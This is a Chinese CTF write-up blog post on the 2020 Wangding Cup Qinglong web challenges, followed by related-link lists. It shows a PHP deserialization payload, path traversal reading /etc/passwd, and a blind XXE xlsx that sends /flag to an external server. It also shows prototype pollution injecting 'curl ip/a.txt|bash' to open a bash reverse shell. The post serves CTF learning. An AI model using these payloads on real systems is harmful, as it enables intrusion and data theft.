本文首发于Leon的Blog,如需转载请注明原创地址并联系作者

AreUSerialz

开题即送源码:

 <?php

 include("flag.php");

 highlight_file(__FILE__);

 class FileHandler {

     protected $op;
protected $filename;
protected $content; function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
} public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
} private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
} private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
} private function output($s) {
echo "[Result]: <br>";
echo $s;
} function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} } function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
} if(isset($_GET{'str'})) { $str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
} }

审计代码:

GET方式传参给str,然后调用is_valid()函数判断传入的参数是否在ASCII码32到125之间,也就是数字、大小写字符以及常规符号,然后进行反序列化

但是这里会ban掉不可见字符\00,这个在序列化protected属性的对象时会出现,我们需要绕过它,php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了

然后代码很简单,我们可以序列化构造$op=2和$filename=flag.php,调用read()函数读取flag.php,但是在进行read()之前就会调用__destruct()魔术方法,如果$this->op === “2”就会设置$this->op为”1″,而”1″在process()函数中会调用write()函数,不能读取文件。

审计代码发现:process()函数中使用了不严格相等if($this->op == “2”)

所以基于PHP的特性我们可以构造$op=”2e0”进行绕过

然后就是读取文件了,但是直接相对路径读flag.php没用,不知道为什么

用绝对路径/var/www/html读也没用

我发现404页面有开发文档:https://hub.docker.com/r/nimmis/alpine-apache/

然后发现了web路径:

所以猜测flag.php路径是:/web/html/flag.php

直接读取不行,用伪协议读可以

payload:

 <?php
class FileHandler { public $op = "2e0";
public $filename = "php://filter/read=convert.base64-encode/resource=/web/html/flag.php";
} $a = new FileHandler();
echo urlencode(serialize($a)); O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A2%3A%22op%22%3Bs%3A3%3A%222e0%22%3Bs%3A8%3A%22filename%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php%22%3B%7D

返回:

Jmx0Oz9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NmFkMmU5My0yNTk2LTRkNDItODcyYS1hMjJlNWViNTI5Zjh9IjsNCg==

Base64解码得到flag:flag{86ad2e93-2596-4d42-872a-a22e5eb529f8}


filejava

打开是一个文件上传页面,看了下页面是java写的,题目名称也说了

上传个文件,然后可以下载,复制下载链接一看:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=46ecab01-0932-480e-9509-9e93672e94c8_a.php

可能存在任意文件下载,尝试:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../etc/passwd

发现可以下载到/etc/passwd

又根据报错知道是Tomcat于是读取web.xml:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

得到:

 <?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

之后根据xml中的<servlet-class>把对应class都下载下来,然后反编译

java web目录参考:https://www.cnblogs.com/jpfss/p/9584075.html

 /DownloadServlet
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../../META-INF/MANIFEST.MF

主要利用点是在UploadServlet.java中有如下代码:

 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {

   try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}

这里考到了CVE-2014-3529类似的漏洞

这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。

因为提示flag在根目录,正好可以用这个xxe打。不过没回显,所以要引用外部xml盲打xxe。

首先是本地新建一个excel-1.xlsx文件,然后改后缀为zip,然后把[Content_Types].xml文件解压出来

修改[Content_Types].xml的内容为:

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://***.***.***.***/a.xml">
%int;
%all;
%send;
]>
<root>&send;</root>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

然后把这个文件再压缩回去,替换掉原来那个,然后把后缀zip改为xlsx

在自己的vps上新建a.xml文件,内容为:

 <!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://59.***.***.***:8500/?%payl;'>">

然后监听8500端口,上传excel-1.xlsx即可收到flag


notes

考点:CVE-2019-10795 undefsafe原型链污染

参考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

app.js源码:

 var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process'); var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
} write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
} get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
} edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
} get_all_notes() {
return this.note_list;
} remove_note(id) {
delete this.note_list[id];
}
} var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note"); app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug'); app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public'))); app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
}); app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
}) app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
}) app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
}) app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
}) app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
}) app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
}); app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
}); const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

通过上面参考链接可知undefsafe包,版本<2.0.3有原型链污染漏洞

谷歌一下undefsafe,它的基本功能是取出字典中的对象或者更新字典中的对象:

 var object = {
a: {
b: [1,2,3]
}
}; // modified object
var res = undefsafe(object, 'a.b.0', 10); console.log(object); // { a: { b: [10, 2, 3] } }
//这里可以看见1被替换成了10

参考:https://github.com/remy/undefsafe

审计代码发现由于/status路由下有命令执行:

 app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

所以可以通过污染commands这个字典,例如令commads.a=whoami,然后访问/status它会遍历执行commands字典中的命令

/edit_note下可以传三个参数,调用edit_note(id, author, raw) 函数,然后使用了undefsafe进行字典的修改

因为undefsafe操作的对象可控,所以我们可以进行原型链污染

payload:

 id=__proto__&author=curl ip/a.txt|bash&raw=123
//a.txt内容为:
bash -i >& /dev/tcp/ip/port 0>&1

反弹shell,flag在根目录下


trace

这个是insert注入,好像复现不了了orz

网鼎杯2020青龙组writeup-web的更多相关文章

  1. 【网鼎杯2020青龙组】Web WriteUp

    AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...

  2. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  3. 【网鼎杯2020朱雀组】Web WriteUp

    nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...

  4. [网鼎杯 2020 青龙组]AreUSerialz

    题目分析 <?php include("flag.php"); highlight_file(FILE); class FileHandler { protected $op ...

  5. BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

    BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz 看题 <?php include("flag.php"); highlight_file(__FILE__) ...

  6. 刷题[网鼎杯 2020 朱雀组]phpweb

    解题思路 打开是一个蛮有意思的背景,众生皆懒狗,是自己没错了.源代码看一看,啥都没有.抓个包 诶,一看到func和p两个参数,想到了call_user_func(). 尝试着把date改成system ...

  7. BUUCTF | [网鼎杯 2020 朱雀组]phpweb

    一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...

  8. [网鼎杯 2020 朱雀组]phpweb-1|反序列化

    1.打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下: 2.对两个参数与返回值进行分析,我们使用dat时一般是这种格式 ...

  9. 网鼎杯2020 AreUSerialz

    0x00 前言 ...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓.其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹. 涉及知识点: 1.php中protected变量反 ...

随机推荐

  1. discuz修改禁止性别保密选项

    第一步找到source/function/function_profile.php 第二步  注释下面的代码 else { $html .= '<option value="0&quo ...

  2. webpack4 图片加载

    图片处理(file-loader) 引用时出现的问题 在js中引入图片并添加到页面 let img = new Image(); img.src = './logo.png' document.bod ...

  3. Jetson AGX Xavier刷机

    1. 准备一台电脑做主机(host),运行Ubuntu系统,我用的是虚拟机,运行的是Ubuntu 18.04系统. 2. 主机更换apt-get源,参见https://www.cnblogs.com/ ...

  4. 【手把手教你】win10 虚拟机 VMware Workstation Pro 15下安装redhat 8.0

    安装redhat8.0 和安装Ubuntu 差别不大 可以参考上篇文章:https://www.cnblogs.com/zero-vic/p/11593683.html 但是redhat  8.1 b ...

  5. css之颜色表示法

    css之颜色表示法 十六进制颜色 所有浏览器都支持十六进制颜色值. 十六进制颜色是这样规定的:#RRGGBB,其中的 RR(红色).GG(绿色).BB(蓝色)十六进制整数规定了颜色的成分.所有值必须介 ...

  6. 01-Vue初学习

    1. Vue下载 (1)网址:https://cn.vuejs.org/v2/guide/installation.html (2)点击开发版本,下载完成是一个 Vue.js 2. 使用 (1)创建文 ...

  7. 桌面上的Flutter:Electron又多了个对手

    从本质上看,Flutter是一个独立的二进制可执行文件.它不仅改变了移动设备的玩法,在桌面设备上也同样不可小觑.一次编写,可在Android.iOS.Windows.Mac和Linux上进行原生部署, ...

  8. 4.shell基本操作简介

    判断一个命令是不是内置命令,可以用type命令 1.printf :冒号 #:〉 test.txt 这里会建立一个空文件test.txt set -o|grep  emacs 查看 emacs 模式是 ...

  9. 对包含HttpContext.Current.Cache的代码进行单元测试

    假设我们如下代码调用了HttpContext.Current.Cache 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class CacheManager { ...

  10. 图论--SCC强连通缩点--Tarjan

    强连通缩点与双连通缩点大同小异,也就是说将强连通分支缩成一个点之后,没有强连通,成为有向无环图,在对图进行题目的操作. // Tarjan算法求有向图强连通分量并缩点 #include<iost ...